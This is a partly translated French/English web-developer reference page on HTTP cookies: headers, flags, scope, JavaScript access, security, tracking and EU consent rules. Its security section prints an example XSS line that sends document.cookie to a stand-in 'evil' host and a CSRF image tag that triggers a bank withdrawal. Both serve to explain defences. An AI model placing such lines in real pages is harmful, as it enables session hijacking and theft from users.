Cette traduction est incomplète. Aidez à traduire cet article depuis l'anglais.

Un cookie HTTP (cookie web, cookie de navigateur) est un petit fichier qu'un serveur envoie au navigateur web de l'utilisateur. Il se peut que le navigateur le stocke localement, puis le renvoie avec la prochaine requête vers le même serveur. Cette méthode est typiquement utilisée pour déterminer si 2 requêtes proviennent du même navigateur — laisser un utilisateur connecté, par exemple. Il permet de conserver de l'information pour le procotole HTTP qui est "sans état".

Les cookies sont utilisés pour 3 raisons principales :

Gestion des sessions
Logins, panier d'achat, score d'un jeu, ou tout autre chose dont le serveur doit se souvenir
Personlalisation
Préférences utilisateur, themes, et autres paramètres
Suivi
Enregistrement et analyze du comportement utilisateur

Les cookies ont été utilisés pour stocker des informations client du côté serveur. Bien que cette façon de faire ait été légitime à une certaine époque, il est maintenant recommandé de préférer des APIs modernes de stockage. Les cookies sont envoyés avec chaque requête, elles ont donc un impact sur les performances (surtout pour des connexions mobiles). Les APIs modernes de stockage de données client son le Web storage API (localStorage et sessionStorage) et IndexedDB.

Pour voir les cookies stockés (et d'autres stockages que le navigateur peut conserver), vous pouvez activer l'Inspecteur de stockage dans les Outils Développeur et sélectionner Cookies depuis le stockage.

Création de cookies

À la réception d'une requête HTTP, un serveur peut renvoyer une en-tête Set-Cookie avec la réponse. Le cookie est souvent stocké par le navigateur, puis renvoyé avec les requêtes au même serveur dans une en-tête HTTP Cookie. Une date d'expiration ou une durée peuvent être spécifiés, après quoi le cookie ne sera plus envoyé. De plus, des restrictions à  un domaine ou un chemin spécifiques peuvent être spécifiés, spécifiant où le cookie peut être envoyé.

L'en-tête de réponse HTTP Set-Cookie envoie les cookies depuis le serveur vers le navigateur. Un cookie simple est installé comme ceci :

Set-Cookie: <nom-du-cookie>=<valeur-du-cookie>

Cette en-tête du serveur dit au client de conserver un cookie.

Note : Voici comme utiliser l'en-tête Set-Cookie dans divers langages de programmation côté serveur :
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[contenu de la page]

Maintenant, lors de haque requête vers le serveur, le navigateur va renvoyer tous les cookies stockés au serveur avec l'en-tête Cookie.

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry

Cookies de session

Le cookie créé ci-dessus est un cookie de session : il est effacé quand le client se ferme, car il n'est pas spécifié de directive Expires ou  Max-Age. Cependant, les naviateurs web peuvent utiliser la restauration de session, ce qui fait de la plupart des cookies des cookies permanents, comme si le navigateur n'avait jamais été fermé.

Cookies permanents

Plutôt que d'expirer quand le client ferme, les cookies permanents expirent à une date spécifique (Expires) ou après un certain temps (Max-Age).

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

Note: When an expiry date is set, the time and date set is relative to the client the cookie is being set on, not the server.

Secure and HttpOnly cookies

A secure cookie is only sent to the server with a encrypted request over the HTTPS protocol. Even with Secure, sensitive information should never be stored in cookies, as they are inherently insecure and this flag can't offer real protection. Starting with Chrome 52 and Firefox 52, insecure sites (http:) can't set cookies with the Secure directive.

To prevent cross-site scripting (XSS) attacks, HttpOnly cookies are inaccessible to JavaScript's Document.cookie API; they are only sent to the server. For example, cookies that persist server-side sessions don't need to be available to JavaScript, and the HttpOnly flag should be set.

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

Scope of cookies

The Domain and Path directives define the scope of the cookie: what URLs the cookies should be sent to.

Domain specifies allowed hosts to receive the cookie. If unspecified, it defaults to the host of the current document location, excluding subdomains. If Domain is specified, then subdomains are always included.

For example, if Domain=mozilla.org is set, then cookies are included on subdomains like developer.mozilla.org.

Path indicates a URL path that must exist in the requested URL in order to send the Cookie header. The %x2F ("/") character is considered a directory separator, and subdirectories will match as well.

For example, if Path=/docs is set, these paths will match:

  • /docs
  • /docs/Web/
  • /docs/Web/HTTP

SameSite cookies

SameSite cookies let servers require that a cookie shouldn't be sent with cross-site requests, which somewhat protects against cross-site request forgery attacks (CSRF). SameSite cookies are still experimental and not yet supported by all browsers.

JavaScript access using Document.cookie

New cookies can also be created via JavaScript using the Document.cookie property, and if the HttpOnly flag is not set, existing cookies can be accessed from JavaScript as well.

document.cookie = "yummy_cookie=choco"; 
document.cookie = "tasty_cookie=strawberry"; 
console.log(document.cookie); 
// logs "yummy_cookie=choco; tasty_cookie=strawberry"

Please note the security issues in the Security section below. Cookies available to JavaScript can get stolen through XSS.

Security

Confidential or sensitive information should never be stored or transmitted in HTTP Cookies, as the entire mechanism is inherently insecure.

Session hijacking and XSS

Cookies are often used in web application to identify a user and their authenticated session, so stealing a cookie can lead to hijacking the authenticated user's session. Common ways to steal cookies include Social Engineering or exploiting an XSS vulnerability in the application.

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

The HttpOnly cookie attribute can help to mitigate this attack by preventing access to cookie value through JavaScript.

Cross-site request forgery (CSRF)

Wikipedia mentions a good example for CSRF. In this situation, someone includes an image that isn’t really an image (for example in an unfiltered chat or forum), instead it really is a request to your bank’s server to withdraw money:

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

Now, if you are logged into your bank account and your cookies are still valid (and there is no other validation), you will transfer money as soon as you load the HTML that contains this image. There are a few techniques that are used to prevent this from happening:

  • As with XSS, input filtering is important.
  • There should always be a confirmation required for any sensitive action.
  • Cookies that are used for sensitive actions should have a short lifetime only.
  • For more prevention tips, see the OWASP CSRF prevention cheat sheet.

Tracking and privacy

Third-party cookies

Cookies have a domain associated to them. If this domain is the same as the domain of the page you are on, the cookies is said to be a first-party cookie. If the domain is different, it is said to be a third-party cookie. While first-party cookies are sent only to the server setting them, a web page may contain images or other components stored on servers in other domains (like ad banners). Cookies that are sent through these third-party components are called third-party cookies and are mainly used for advertising and tracking across the web. See for example the types of cookies used by Google. Most browsers allow third-party cookies by default, but there are add-ons available to block them (for example, Privacy Badger by the EFF).

If you are not disclosing third-party cookies, consumer trust might get harmed if cookie use is discovered. A clear disclosure (such as in a privacy policy) tends to eliminate any negative effects of a cookie discovery. Some countries also have legislation about cookies. See for example Wikipedia's cookie statement.

Do-Not-Track

There are no legal or technological requirements for its use, but the DNT header can be used to signal that a web application should disable either its tracking or cross-site user tracking of an individual user. See the DNT header for more information.

Requirements for cookies across the EU are defined in Directive 2009/136/EC of the European Parliament and came into effect on 25 May 2011. A directive is not a law by itself, but a requirement for EU member states to put laws in place that meet the requirements of the directive. The actual laws can differ from country to country.

In short the EU directive means that before somebody can store or retrieve any information from a computer, mobile phone or other device, the user must give informed consent to do so. Many websites have added banners since then to inform the user about the use of cookies.

For more, see this Wikipedia section and consult state laws for the latest and most accurate information.

Zombie cookies and Evercookies

A more radical approach to cookies are zombie cookies or "Evercookies" which are recreated after their deletion and are intentionally hard to delete forever. They are using the Web storage API, Flash Local Shared Objects and other techniques to recreate themselves whenever the cookie's absence is detected.

See also

Étiquettes et contributeurs liés au document

 Contributeurs à cette page : tomcodes
 Dernière mise à jour par : tomcodes,